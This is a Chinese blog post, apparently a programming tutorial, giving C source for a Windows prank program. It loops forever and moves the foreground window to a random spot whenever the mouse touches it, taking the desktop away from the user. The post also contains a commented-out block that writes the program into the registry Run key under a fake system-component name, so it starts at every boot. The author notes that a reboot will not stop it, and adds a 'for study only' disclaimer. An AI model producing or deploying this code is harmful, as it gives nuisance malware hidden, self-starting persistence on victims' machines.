signed

QiShunwang

“诚信为本、客户至上”

Windows核心编程之———摸不到的窗口.

2021/4/26 19:44:29   来源:
/*编译环境:vs2013*/
/*编译人: 李和平*/

#include <time.h>
#include <windows.h>  //windows 底层API接口 win32 mfc  gdi  gdi+

int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE prehinstance,
	LPSTR lpCmdLine, int nShowCmd)
{
	srand((unsigned int)time(NULL));
	char exepath[200];
	GetModuleFileName(NULL, exepath, sizeof(exepath));//检索路径函数
	/*
	//这里的注释千万千万不要随便打开,一旦打开,重启也无法解决这个问题
	//写入注册表,解决开机重启%99的问题的问题
	
	HKEY hkey;
	char path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
	RegOpenKey(HKEY_CURRENT_USER, path, &hkey);
	RegSetValueEx(hkey, "Windows system32底层驱动模块核心组件", 0, REG_SZ, (unsigned char*)exepath, sizeof(exepath));
	
	*/
	HWND hwnd;
	POINT pt;	//点  鼠标的点坐标
	RECT  rect; //保存窗口的范围
	int x, y;

	while (1)//死循环
	{
		hwnd = GetForegroundWindow();  //获取到最前的活动窗口!
		                  //能够拿到当前活动窗口的句柄!
		GetCursorPos(&pt);
		/*获取的是 鼠标相对屏幕的左上角的距离,
		单位是像素。而对于一个窗口来说,
		它的消息响应函数的输入参数通常是相对于客户区左上角的距离。
		*/
		GetWindowRect(hwnd, &rect);
		/*该函数返回指定窗口的边框矩形的尺寸。
		该尺寸以相对于屏幕坐标左上角的屏幕坐标给出。*/
		if (pt.x >= rect.left && pt.x <= rect.right
			&& pt.y >= rect.top && pt.y <= rect.bottom)
			//鼠标指针和当前窗口重合时随机移动窗口
		{
			x = rand() % (1680 - 500);
			//使用rand()函数产生随机数
			y = rand() % (1050 - 500);
			MoveWindow(hwnd, x, y, 500, 500, true);
			/*MoveWindow 函数用于改变指定窗口的位置和尺寸。
			对于顶层窗口来说,位置和尺寸与屏幕的左上角相关。
			对于子窗口来说,位置和尺寸与父窗口客户区的左上角相关。*/
		}
	}
	return 0;
}

运行结果:

结果就是你的电脑窗口不受你的控制,当你的鼠标指针和窗口重叠时便随机让窗口移动到另外一个位置。win7的任务管理器没有句柄保护也会被影响,win10的任务管理器有句柄保护不会受到影响。

特别注意:

本代码仅供学习参考使用,请勿用于其他用途,因为用于其他用途造成的一切责任均与本人无关,请谨慎运行!!!!